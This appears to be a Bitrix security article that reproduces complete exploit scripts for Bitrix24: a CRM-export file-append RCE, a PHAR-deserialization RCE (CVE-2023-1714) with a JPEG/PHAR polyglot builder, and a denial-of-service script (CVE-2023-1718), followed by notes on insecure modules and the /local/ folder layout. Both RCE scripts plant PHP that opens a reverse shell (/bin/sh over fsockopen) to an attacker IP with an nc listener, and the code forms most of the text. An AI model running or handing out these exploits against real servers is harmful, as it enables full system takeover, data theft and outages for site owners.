# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import base64
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"
# ROOT_PATH is not necessary, it is possible to use relative paths to exploit
ROOT_PATH = "/var/www/html/"
TARGET_FILE = "include/company_name.php"
LPORT = 9001
LHOST = "192.168.86.43"
PROXY = {"http": "http://localhost:8080"}
CODE_TO_INJECT = f"""
// Restore file for future demos
$file_data = file_get_contents("{ROOT_PATH}{TARGET_FILE}");
$original = mb_substr($file_data, 0, mb_strpos($file_data, '"ID";"Photo"'));
file_put_contents("{ROOT_PATH}{TARGET_FILE}", $original);
/* Sleep to allow nc listener to start */
sleep(2);
$sock=fsockopen($_GET["ip"], intval($_GET["port"]));
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
"""
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def set_progress_data(session, sessid):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded(
{
"p": [{
"c": "crm",
"v": {
"filePath": f"{ROOT_PATH}{TARGET_FILE}",
"processToken": "b",
},
"n": "crm_cloud_export_CONTACT"
}],
"sessid": sessid
}
)))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def trigger_file_append(session, sessid):
print(f"[+] Appending payload to target file")
session.post(
HOST + "/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data={
"ENTITY_TYPE": "CONTACT",
"EXPORT_TYPE": "csv",
"COMPONENT_NAME": "bitrix:crm.contact.list",
"PROCESS_TOKEN": "b",
"REQUISITE_MULTILINE": "Y",
"EXPORT_ALL_FIELDS": "Y",
"INITIAL_OPTIONS[REQUISITE_MULTILINE]": "Y",
"INITIAL_OPTIONS[EXPORT_ALL_FIELDS]": "Y"
}
)
def delete_contact(session: requests.Session, sessid, contactId):
print(f"[+] Deleting contact {contactId}")
res = session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.prepareDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[gridId]=CRM_CONTACT_LIST_V12¶ms[entityTypeId]=3¶ms[extras][CATEGORY_ID]=0¶ms[entityIds][0]={contactId}",
)
hash = res.json()["data"]["hash"]
session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.processDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[hash]={hash}",
)
print(f"[+] Contact {contactId} deleted")
def create_contact(session: requests.Session, sessid):
payload = f"<?php eval(base64_decode('{base64.b64encode(CODE_TO_INJECT.encode()).decode()}')) ?>"
res = session.post(
HOST + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid=" + sessid,
headers={
"Content-Type": "application/x-www-form-urlencoded",
},
data={
"PARAMS[NAME_TEMPLATE]": "#NAME# #LAST_NAME#",
"PARAMS[CATEGORY_ID]": "0",
"EDITOR_CONFIG_ID": "contact_details",
"HONORIFIC": "",
"LAST_NAME": "",
"NAME": "Definitely not Attacker",
"SECOND_NAME": "",
"BIRTHDATE": "",
"POST": "",
"PHONE[n0][VALUE]": "",
"PHONE[n0][VALUE_TYPE]": "WORK",
"EMAIL[n0][VALUE]": "",
"EMAIL[n0][VALUE_TYPE]": "WORK",
"WEB[n0][VALUE]": "",
"WEB[n0][VALUE_TYPE]": "WORK",
"IM[n0][VALUE]": "",
"IM[n0][VALUE_TYPE]": "FACEBOOK",
"CLIENT_DATA": "{\"COMPANY_DATA\":[]}",
"TYPE_ID": "CLIENT",
"SOURCE_ID": "CALL",
"SOURCE_DESCRIPTION": payload,
"OPENED": "Y",
"EXPORT": "Y",
"ASSIGNED_BY_ID": "3",
"COMMENTS": "",
"contact_0_details_editor_comments_html_editor": "",
"ACTION": "SAVE",
"ACTION_ENTITY_ID": "",
"ACTION_ENTITY_TYPE": "C",
"ENABLE_REQUIRED_USER_FIELD_CHECK": "Y"
}
)
contactId = re.compile("'ENTITY_ID':'([0-9]+)'").findall(res.text)[0]
print(f"[+] Created contact {contactId}")
return int(contactId)
def reverse_shell():
requests.get(f"{HOST}/{TARGET_FILE}?ip={LHOST}&port={LPORT}")
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
contactId = create_contact(s, sessid)
try:
set_progress_data(s, sessid)
trigger_file_append(s, sessid)
finally:
delete_contact(s, sessid, contactId)
threading.Thread(target=reverse_shell).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(LPORT)])
This vulnerability can be exploited if an attacker has access to CRM functions and permission to edit contacts. This level of access can be granted if the user is a member of the Management group.
# Bitrix24 PHAR Deserialization RCE (CVE-2023-1714)
# Via: https://TARGET_HOST/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import random
import json
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "crm_only"
PASSWORD = "crm_only"
ROOT_PATH = "/var/www/html/"
PORT = 9001
LHOST = "192.168.86.125"
PROXY = {"http": "http://localhost:8080"}
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def upload_web_shell(s, sessid):
data = f"""
<?php
sleep(2);
$sock=fsockopen("{LHOST}", {PORT});
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
return upload(s, sessid, data)
def upload(session, sessid, data):
CID = random.randint(0, pow(10, 5))
resp = session.post(
HOST + "/desktop_app/file.ajax.php?action=uploadfile",
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_info[mode]": "upload",
"bxu_info[CID]": str(CID),
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": f"pIndex{CID}",
"bxu_info[NAME]": f"file{CID}",
"bxu_files[0][name]": f"file{CID}",
},
files={
"bxu_files[0][default]": (
"file",
data,
"text/plain",
)
},
proxies=PROXY,
).json()
return resp["files"][0]["file"]["files"]["default"]["tmp_name"]
def make_phar(path):
os.system("rm ./test.phar")
print(f"[+] Creating PHAR")
os.system(f"php --define phar.readonly=0 create_phar.php {path}")
return open("./test.phar", 'rb').read()
def set_progress_data(session, sessid, path):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded([{
"c": "crm",
"v": {
"FILE_PATH": f"phar://{path}/a",
"PROCESS_TOKEN": "b",
},
"n": "crm_stexport_contact"
}], "p"
) | {"sessid": sessid}))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def get_upload_params(session, sessid):
resp = session.post(
HOST
+ "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid="
+ sessid,
data={
"FIELD_NAME": "PHOTO",
"ACTION": "RENDER_IMAGE_INPUT",
"ACTION_ENTITY_ID": "0",
},
)
controlUid = re.search(
re.compile("'controlUid':'([a-f0-9]{32})'"), resp.text
).group(1)
controlSign = re.search(
re.compile("'controlSign':'([a-f0-9]{64})'"), resp.text
).group(1)
urlUpload = re.search(re.compile("'urlUpload':'(.*)'"), resp.text).group(1)
user_id = re.search(re.compile("'USER_ID':'([0-9]+)'"), resp.text).group(1)
return controlUid, controlSign, urlUpload, user_id
def upload_file(session, sessid, controlUid, controlSign, urlUpload, user_id, data):
resp = session.post(
HOST + urlUpload,
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_files[file167][name]": "bitrix-out.jpg",
"bxu_files[file167][type]": "image/jpg",
"bxu_files[file167][size]": "10",
"AJAX_POST": "Y",
"USER_ID": user_id,
"sessid": sessid,
"SITE_ID": SITE_ID,
"bxu_info[controlId]": "bitrixUploader",
"bxu_info[CID]": controlUid,
"cid": controlUid,
"moduleId": "crm",
"allowUpload": "I",
"uploadMaxFilesize": "3145728",
"bxu_info[uploadInputName]": "bxu_files",
"bxu_info[version]": "1",
"bxu_info[mode]": "upload",
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": "pIndex1",
"mfi_mode": "upload",
"mfi_sign": controlSign,
},
files={
"bxu_files[file167][default]": (
"bitrix-out.jpg",
data,
"image/jpg",
)
},
proxies=PROXY,
)
full_path = list(json.loads(resp.text)["files"].values())[0]["file"]["thumb_src"]
return re.search(
re.compile(
"/upload/resize_cache/crm/([a-f0-9]{3}/[a-z0-9]{32})/90_90_2/bitrix-out\\.jpg"
),
full_path,
).group(1)
def trigger_file_exists(session, sessid):
session.post(
HOST + "/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php?sessid=" + sessid,
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=nested_to_urlencoded({
"SITE_ID": SITE_ID,
"ENTITY_TYPE_NAME": "CONTACT",
"EXPORT_TYPE": "csv",
"PROCESS_TOKEN": "b",
}, "PARAMS") | {"ACTION": "STEXPORT"}
)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
webshell_path = upload_web_shell(s, sessid)
ROOT_PATH = webshell_path[:webshell_path.index("upload")]
print(f"[+] Webshell uploaded to '{webshell_path}'")
controlUid, controlSign, urlUpload, user_id = get_upload_params(s, sessid)
data = make_phar(webshell_path)
path = upload_file(s, sessid, controlUid, controlSign, urlUpload, user_id, data)
path = f"{ROOT_PATH}upload/crm/{path}/bitrix-out.jpg"
print(f"[+] PHAR uploaded to '{path}'")
set_progress_data(s, sessid, path)
print(f"[+] Triggering file_exists phar deserialization")
threading.Thread(target=trigger_file_exists, args=(s, sessid)).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(PORT)])
The following PHP files should also be in the same directory:
create_phar.php:
<?php
namespace Bitrix\Bizproc\Activity;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\ArgumentException;
include("./CCloudsDebug.php");
use CCloudsDebug;
class PropertiesDialog
{
public $activityFile;
public $dialogFileName = 'properties_dialog.php';
public $map;
public $mapCallback;
public $documentType;
public $activityName;
public $workflowTemplate;
public $workflowParameters;
public $workflowVariables;
public $currentValues;
public $formName;
public $siteId;
public $renderer;
public $context;
public $runtimeData = array();
public function __toString()
{
if ($this->renderer !== null)
{
return call_user_func($this->renderer, $this);
}
$runtime = \CBPRuntime::getRuntime();
$runtime->startRuntime();
return (string)$runtime->executeResourceFile(
$this->activityFile,
$this->dialogFileName,
array_merge(array(
'dialog' => $this,
//compatible parameters
'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
'formName' => $this->getFormName()
), $this->getRuntimeData()
)
);
}
}
$cloudDebug = new CCloudsDebug();
$dialog = new PropertiesDialog();
$dialog->dialogFileName = "stexport.php";
$dialog->runtimeData = ["path" => [$argv[1], ""]];
$cloudDebug->head = $dialog;
function generate_base_phar($o){
global $tempname;
@unlink($tempname);
$phar = new \Phar($tempname);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
$basecontent = file_get_contents($tempname);
@unlink($tempname);
return $basecontent;
}
function generate_polyglot($phar, $jpeg){
$phar = substr($phar, 6); // remove <?php dosent work with prefix
$len = strlen($phar) + 2; // fixed
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
$contents = substr($new, 0, 148) . " " . substr($new, 156);
// calc tar checksum
$chksum = 0;
for ($i=0; $i<512; $i++){
$chksum += ord(substr($contents, $i, 1));
}
// embed checksum
$oct = sprintf("%07o", $chksum);
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
return $contents;
}
// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('bitrix.jpg');
$outfile = 'test.phar';
$payload = $cloudDebug;
// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload), $jpeg));
CCloudsDebug.php:
<?php
class CCloudsDebug
{
public $head = '';
public $id = '';
}
This Python script is designed to exploit a security vulnerability in Bitrix24 that leads to a denial of service (DoS) attack. The vulnerability, identified as CVE-2023-1718, allows an attacker to disrupt the normal operation of a Bitrix24 instance.
pip install aiohttp
python3 bitrix24dos.py --host <HOST> --site_id <SITE_ID Value> --num_requests <Number of Requests>
#!/usr/bin/env python3 import random import asyncio import aiohttp import re import argparse async def preauth(session, host): try: async with session.get(host, ssl=False) as response: data = await response.text() return re.search(r”‘bitrix_sessid’:'([a-f0-9]{32})'”, data).group(1) except aiohttp.ClientError as e: print(f”Failed to access the website: {e}”) return None async def DoS(session, sessid, host, site_id, num_requests): tasks = [] for _ in range(num_requests): CID = random.randint(0, pow(10, 5)) url = f”{host}/desktop_app/file.ajax.php?action=uploadfile” data = { “bxu_info[mode]”: “upload”, “bxu_info[CID]”: str(CID), “bxu_info[filesCount]”: “1”, “bxu_info[packageIndex]”: f”pIndex{CID}”, “bxu_info[NAME]”: f”file{CID}”, “bxu_files[0][name]”: f”file{CID}”, “bxu_files[0][files][default][tmp_url]”: “a:php://stdout”, “bxu_files[0][files][default][tmp_name]”: f”file{CID}”, } headers = { “X-Bitrix-Csrf-Token”: sessid, “X-Bitrix-Site-Id”: site_id, } task = asyncio.create_task(send_request(session, url, data, headers)) tasks.append(task) await asyncio.gather(*tasks) async def send_request(session, url, data, headers): async with session.post(url, data=data, headers=headers, ssl=False) as response: pass async def main(host, site_id, num_requests): async with aiohttp.ClientSession() as session: sessid = await preauth(session, host) if sessid is not None: await DoS(session, sessid, host, site_id, num_requests) else: print(“Aborting due to website access failure.”) if __name__ == “__main__”: parser = argparse.ArgumentParser(description=”Bitrix24 Improper File Stream Access DoS”) parser.add_argument(“–host”, required=True, help=”Target host URL”) parser.add_argument(“–site_id”, required=True, help=”SITE_ID value”) parser.add_argument(“–num_requests”, type=int, default=1000, help=”Number of requests to send”) args = parser.parse_args() asyncio.run(main(args.host, args.site_id, args.num_requests))
A whole collection of suspicious modules has accumulated in the Bitrix ecosystem. Many of them are created in a hurry, without a normal audit and with minimal quality control, after which they calmly enter production. It is not easy to explain the number of errors in their code: even a superficial check of 30 randomly taken modules from the official marketplace showed that 24 of them contain vulnerabilities. And there is every reason to assume that the rest may be problematic as well.
Relatively recently, a separate register of vulnerabilities in such modules was created. Not everything is understood there, in fact, one might even say that there is almost nothing there, because no one tests these modules, but that is to want something.
And these are only public modules, which are actually a minority. Most often, the so-called “self-written” ones are found. They appear when a company does not want to pay a lot of money for a module, adding one button, and decides to write it itself, ignoring all the standards of secure development.
Such self-written ones are found on almost any site with Bitrix. After all, because of the cost, companies try to solve the basic task or business process in Bitrix for the user themselves, forcing it to write .php for no reason
All modules are placed in the /local/ directory by default
I think it is worth telling in more detail here.
To make life easier for project developers, in the D7 core with the main module version 14.0.1, the main files of user projects have been moved from the /bitrix/ folder to the /local/ folder. This allows you to isolate the modified project files from the product folder.
Moreover, /local/* is not protected by the Bitrix WAF built-in, which means that filtering there will no longer save you. Accordingly, all our custom modules are now not only leaky, but also unprotected.
Let’s analyze the main directories processed in /local/
діяльність — дії БП
This directory stores custom actions for business processes that can be used to automate various processes on the site. This can be creating a task, sending notifications, changing statuses, and so on.
Example:
/local/activities/SendEmail.php
components
Both personal components and redefined standard 1C-Bitrix components are stored here. Components are functional blocks that can be used repeatedly on a site, such as forms, lists, galleries, etc.
Example:
/local/components/my_component/detail.php
gadgets — desktop gadgets
Gadgets are small interface elements that can be added to the admin panel for quick access to data or actions. For example, to display statistics, news, or event notifications.
Example:
/local/gadgets/dashboardWidget.php
module
This is where it is recommended to be first
This is a place to store custom modules that can add new functionality to the system. For example, modules for integration with external services or for performing specific tasks.
Example:
/local/modules/my_module/include.php
У цьому файлі буде зберігатися логіка роботи модуля, наприклад, підключення API.
php_interface – files init.php and dbconn.php, folder user_lang
This folder contains all the scripts that are responsible for configuring and customizing Bitrix. This folder usually contains:
init.php — initialization file, where all necessary components, classes and modules are connected.
events.php — event developers, which add their own logic to standard processes.
constants.php — file with constants based on the project.
Example structure:
/local/php_interface/
init.php
events.php
constants.php
classes/
User.php
templates – site templates, component templates, page templates
Top 2 place to attack, after modules. All XSS attacks will probably end up here
This folder contains all custom templates for your site. You can store both the main site templates and the templates for individual components here.
Example:
/local/templates/my_template/header.php
Файли з включеними областями, які включені в шаблон і зберігаються в папці з шаблоном сайту ( /local/templates/імя_шаблона/includes/ ).
blocks — Sites24 blocks
For convenience and consistency of style, blocks are used in the project, as in the BEM approach. They are used in modular interface elements.
Example:
/local/blocks/button/button.css /local/blocks/form/form.js
routes – files with routing route configurations
If the project uses routing (for example, for REST API or custom routes for pages), then all the route settings and their handlers are placed in this directory.
Example:
/local/routes/apiRoutes.php
js – scripts for your own solutions
All frontend scripts and libraries should also be stored in this folder. It will be convenient for organizing custom solutions, such as interactive elements on pages.
Example:
/local/js/jquery.min.js /local/js/myCustomScript.js
/local/images — Images and files for templates
All template images, fonts, or other static files that are not related to functionality are stored in the /local/images directory.
Example:
/local/images/logo.png
With version 24.100.0 of the main module, the /local/ folder can contain the kernel settings files .settings.php and .settings_extra.php. When processing a folder, the /local/ folder always takes precedence over /bitrix/. This means that if there are site templates with the same name in /local/templates/ and /bitrix/templates/, the template from /local/ is connected.
The second part focuses on the most dangerous Bitrix problems: critical RCE vulnerabilities, WAF bypasses, weak modules and risks in Bitrix24. These sections show how individual errors in import logic, templates or service files can lead to a complete system takeover.
The material helps to understand where exactly the real points of compromise appear, how known CVEs work and why auto-updates and /local/ modules often become the main sources of problems.
In short, this is a practical overview of what a real Bitrix hack looks like and which places need a deep check first.